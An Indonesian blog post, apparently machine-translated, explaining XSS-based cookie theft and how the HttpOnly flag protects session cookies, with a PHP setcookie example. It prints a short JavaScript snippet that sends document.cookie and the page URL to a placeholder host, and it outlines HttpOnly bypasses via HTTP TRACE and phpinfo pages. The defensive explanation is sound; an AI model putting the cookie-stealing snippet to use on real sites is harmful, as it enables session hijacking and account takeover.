Dengan munculnya layanan www, semakin banyak aplikasi yang bergeser ke struktur B/S, sehingga berbagai layanan web dapat diakses hanya dengan satu browser, tetapi hal ini juga semakin menyebabkan semakin banyak masalah keamanan web. www mengandalkan protokol Http, Http adalah protokol stateless, jadi untuk meneruskan informasi antar sesi, tidak dapat dihindari untuk menggunakan cookie atau sesi dan teknologi lain untuk menandai status pengunjung, dan apakah itu cookie atau sesi, umumnya diterapkan menggunakan cookie (Sesi sebenarnya ditandai dengan token di cookie browser, Server memperoleh token ini dan memeriksa legitimasi dan mengikat status terkait yang disimpan di server ke browser), sehingga mau tidak mau fokus pada cookie dengan aman, selama cookie ini diperoleh, identitas orang lain dapat diperoleh, yang merupakan hal yang luar biasa bagi penyusup, terutama ketika cookie yang diperoleh milik orang berhak tinggi seperti administrator, bahayanya bahkan lebih besar. Di antara berbagai masalah keamanan web, kerentanan XSS sangat berbahaya.
Untuk aplikasi, begitu ada kerentanan XSS, itu berarti orang lain dapat mengeksekusi skrip JS sewenang-wenang di browser Anda, dan jika aplikasi tersebut open source atau fungsinya bersifat publik, orang lain dapat menggunakan Ajax untuk menggunakan fungsi ini, tetapi prosesnya seringkali rumit, terutama jika Anda ingin langsung mendapatkan identitas orang lain untuk penjelajahan biasa. Untuk aplikasi non-open source, seperti latar belakang web dari beberapa situs besar (fitur penting dari web2.0 adalah sejumlah besar interaksi, pengguna sering perlu berinteraksi dengan administrator di latar belakang, seperti laporan bug, atau pengiriman informasi, dll.), meskipun mungkin ada kerentanan skrip lintas situs karena adanya interaksi, tetapi karena kurangnya pemahaman tentang latar belakang, tidak mungkin untuk membuat kode ajax yang sempurna untuk digunakan, bahkan jika Anda dapat menggunakan js untuk mendapatkan kode latar belakang dan mengembalikannya untuk dianalisis, tetapi prosesnya juga rumit dan tidak tersembunyi. Saat ini, sangat efektif menggunakan kerentanan xss untuk mendapatkan cookie atau pembajakan sesi, secara khusus menganalisis otentikasi aplikasi, dan kemudian menggunakan teknik tertentu, dan bahkan secara permanen mendapatkan identitas pihak lain bahkan jika pihak lain keluar dari program.
Jadi bagaimana cara mendapatkan pembajakan cookie atau sesi? Dalam objek dokumen di browser, informasi cookie disimpan, dan cookie dapat diambil dengan menggunakan js, selama Anda mendapatkan cookie ini, Anda dapat memiliki identitas orang lain. Pernyataan serangan XSS yang khas adalah sebagai berikut:
- xss exp:
- url=document.top.locatio去掉n.href;
- cookie=document.cookie;
- c=new Image();
- c.src=’<a target="_blank">http://www.xxx.net/c.php?c=</a>’+cookie+’&u=’+url;
Beberapa aplikasi mungkin mengadopsi teknik pengikatan browser untuk mengatasi masalah ini, seperti mengikat cookie ke agen pengguna browser, dan menganggap cookie tidak valid setelah ditemukan. Cara ini terbukti tidak efektif, karena ketika penyusup mencuri cookie, dia pasti telah mendapatkan Agen Pengguna pada saat yang bersamaan. Ada juga yang ketat lainnya yang mengikat cookie ke Remote-addr (pada kenyataannya, itu terikat pada IP, tetapi beberapa program memiliki masalah dengan metode mendapatkan IP, yang juga menyebabkan penghematan), tetapi ini membawa pengalaman pengguna yang sangat buruk, mengubah IP adalah hal yang umum, seperti kerja dan rumah adalah 2 IP, sehingga metode ini sering tidak diadopsi. Oleh karena itu, serangan berbasis cookie sangat populer sekarang, dan mudah untuk mendapatkan status administrator aplikasi di beberapa situs web 2.0.
Bagaimana kami menjaga cookie sensitif kami tetap aman? Melalui analisis di atas, cookie umum diperoleh dari objek dokumen, dan kita hanya perlu membuat cookie sensitif tidak terlihat di dokumen browser. Untungnya, browser sekarang umumnya menerima parameter yang disebut HttpOnly saat mengatur cookie, sama seperti parameter lain seperti domain, setelah HttpOnly ini diatur, Anda tidak akan melihat cookie di objek dokumen browser, dan browser tidak akan terpengaruh dengan cara apa pun saat menjelajah, karena cookie akan dikirim di header browser (termasuk ajax). Aplikasi umumnya tidak mengoperasikan cookie sensitif ini di js, kami menggunakan HttpOnly untuk beberapa cookie sensitif, dan kami tidak mengatur beberapa cookie yang perlu dioperasikan dengan js di aplikasi, yang memastikan keamanan informasi cookie dan memastikan aplikasi. Untuk informasi selengkapnya tentang HttpOnly, lihat http://msdn2.microsoft.com/en-us/library/ms533046.aspx.
Header untuk mengatur cookie di browser Anda adalah sebagai berikut:
- Set-Cookie: =[; =]
- [; expires=][; domain=]
- [; path=][; secure][; HttpOnly]
Mengambil php sebagai contoh, dukungan untuk HttpOnly telah ditambahkan ke fungsi Setcookie di php 5.2, misalnya:
setcookie("abc","test",NULL,NULL,NULL,NULL,NULL,TRUE);
Anda dapat mengatur cookie abc ke HttpOnly, dan dokumen tidak akan terlihat oleh cookie ini. Karena fungsi setcookie pada dasarnya adalah header, Anda juga dapat menggunakan header untuk mengatur HttpOnly. Kemudian gunakan document.cookie untuk melihat bahwa cookie ini tidak lagi tersedia. Kami menggunakan metode ini untuk melindungi Sessionid, seperti beberapa cookie otentikasi untuk otentikasi, sehingga kami tidak perlu khawatir tentang identitas yang diperoleh, yang sangat penting bagi beberapa program latar belakang dan webmail untuk meningkatkan keamanan. Ketika kita menggunakan metode serangan di atas lagi, kita dapat melihat bahwa kita tidak dapat lagi mendapatkan cookie sensitif yang kita tetapkan sebagai HttpOnly.
Namun, dapat juga dilihat bahwa HttpOnly tidak mahakuasa, pertama-tama, tidak dapat menyelesaikan masalah xss, masih tidak dapat menahan serangan beberapa peretas pasien, juga tidak dapat mencegah penyusup melakukan pengiriman ajax, dan bahkan beberapa proxy berbasis xss telah muncul, tetapi dimungkinkan untuk menaikkan ambang serangan, setidaknya serangan xss tidak diselesaikan oleh setiap anak skrip, dan metode serangan lainnya disebabkan oleh beberapa keterbatasan lingkungan dan teknis. Ini tidak umum seperti mencuri kue.
HttpOnly juga dapat mengeksploitasi beberapa kerentanan atau mengonfigurasi Bypass, masalah utamanya adalah selama Anda bisa mendapatkan header cookie yang dikirim oleh browser. Misalnya, serangan Http Trace sebelumnya dapat mengembalikan cookie di header Anda, dan serangan ini dapat diselesaikan dengan menggunakan ajax atau flash, yang juga telah ditambal di ajax dan flash. Contoh penting lainnya dari kemungkinan bypass pada konfigurasi atau aplikasi adalah phpinfo, seperti yang Anda ketahui, phpinfo akan menampilkan header http yang dikirim oleh browser, termasuk informasi auth yang kami lindungi, dan halaman ini sering ada di berbagai situs, selama Anda menggunakan ajax untuk mendapatkan halaman phpinfo, keluarkan bagian yang sesuai dengan header header untuk mendapatkan cookie. Ketidaksempurnaan dalam beberapa aplikasi juga dapat menyebabkan kebocoran header, yang dapat diserang sama seperti halaman yang dilindungi oleh verifikasi dasar.
HttpOnly lebih baik didukung di IE 6 ke atas, dan banyak digunakan dalam aplikasi seperti Hotmail, dan telah mencapai hasil keamanan yang relatif baik.
|
Diposting pada 03/06/2015 20.57.48
|
|
|
